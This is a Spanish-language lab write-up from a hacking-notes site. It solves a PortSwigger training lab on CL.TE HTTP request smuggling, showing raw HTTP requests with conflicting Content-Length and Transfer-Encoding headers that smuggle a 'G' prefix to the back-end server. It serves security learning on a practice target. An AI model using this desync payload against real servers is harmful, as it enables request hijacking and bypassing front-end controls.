> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/basic-vulnerability-cl-te.md).

# Vulnerabilidad básica CL.TE

### HTTP Request Smuggling, vulnerabilidad básica CL.TE

En este laboratorio, la infraestructura consta de un servidor frontal y un servidor de back-end. El servidor frontal **no admite codificación fragmentada** y **rechaza cualquier solicitud que no use GET o POST** métodos.

El objetivo es **introducir de contrabando una solicitud al back-end** servidor para que **la siguiente solicitud interpretada por el servidor parezca usar el `GPOST`** método.

> Nota:/ " Aunque el laboratorio acepte HTTP/2, la técnica necesaria se basa exclusivamente en HTTP/1. El protocolo debe cambiarse manualmente en Burp Repeater mediante la sección Request attributes del Inspector.

> Consejo:/ Gestionar manualmente las longitudes en un ataque de request smuggling puede ser complejo. La extensión de Burp HTTP Request Smuggler, disponible en el BApp Store, puede facilitar esta tarea.

#### \*\* Ejemplo válido observado\*\*

La siguiente solicitud fue aceptada:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0


```

#### **Error al cambiar el tamaño final**

Si el `0` el carácter final se reemplaza por un carácter no válido (por ejemplo, `X`), el servidor informa de un error:

```
3
abc
X
```

<figure><img src="/files/2c642239ffbcc7458257be746094939720753443" alt=""><figcaption></figcaption></figure>

#### **Añadir el carácter final para inyectar `G`**

Al colocar un `G` después del fragmento final, puedes preparar la solicitud introducida de contrabando para el back-end:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

<figure><img src="/files/fbf2f7ca12ef1ab5fa58ad4d41385905e4991804" alt=""><figcaption></figcaption></figure>


---

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